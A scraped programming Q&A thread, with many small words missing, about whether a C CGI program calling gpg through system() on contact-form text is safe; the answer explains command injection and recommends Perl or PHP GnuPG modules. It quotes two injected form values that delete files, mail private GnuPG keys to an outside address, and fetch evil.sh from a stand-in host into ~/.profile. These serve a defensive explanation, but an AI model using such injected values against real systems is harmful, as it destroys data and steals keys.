forms - Is running a C/C++ CGI script on Apache dangerous? -

i programming own little website system (a script compiles markdown documents, , puts them in appropriate locations, making quick, static website). enable people go (initially static) contact page, send me gnupg-encrypted message.

basically, visitor writes or message in contact form, clicks checkbox if want message encrypted, , upon receiving form, c(?) program of mine calls system("gpg --encrypt --recipient 31a49121cd42ff00 --armor <the_message>");

(i have yet determine how message contents , use in command without writing unencrypted message disk).

is (un)secure use exec() in self-made c program processes form data? there simpler way achieve want (using standalone script—because website static—to run gpg)? security considerations haven’t thought about?

i asking on here instead of security se because looking answers developers’ points of view.

as security professional makes @ least modest living consulting on subject, , rather prolific c programmer can give few different thoughts on subject.

when considering security of processes executing on target, have consider number of things , how may abuse situation.

a glimpse

let's @ immediate security problem see off hand, using "system()" call directly on <the_message> ; can imagine following:

the_message="hello , goodbye; rm -rf *; cat $home/.gpg/* | /usr/bin/sendmail -s 'these private keys' temporary_account@hotmail.com" or worse;  the_message="hello , goodbye; wget http://some.remote.system.com/evil.sh && mv evil.sh ~/.profile;"  

so first thing never use provided user command or part of command-line; save message temporary text file , encrypt that;

a deeper look

okay what's going on in terms of using c; before give answer, love c; exclusively program in c , have been professional developer main focus on c last 24 years. now, c horrid tool writing cgi program in, , should if have compelling reason. , after find reason, should discard anyways , abandon thought.

here reasons why shouldn't use c cgi interface.

cgi/1.1 ugly standard; uses environment variables, stdin, , sorts of character remapping , recoding data across. invariably going have deal either implementing cgi interface or using libcgi or equivalent library in order deal permutations, , @ end you'll hate it.

when used http://libcgi.sourceforge.net particular project had debug , harden , augment because had horrible buffer on flow issues left right , center, non-existant utf-8 support , limited control on authentication.

but if have covered, c bad idea because lot of security issues arise out of manual manipulation of memory 1 has do.

a higher level language (shell script, awk, perl, php etc.) better tool handle cgi; perl built it, , php specially built it. advantage of using perl or php in situation gnupg modules available don't have system() anything;

the key development use easiest, straightforward toolkit job; in case think should not use c, force things done in form of proper cgi processing language such php.

those thoughts; hope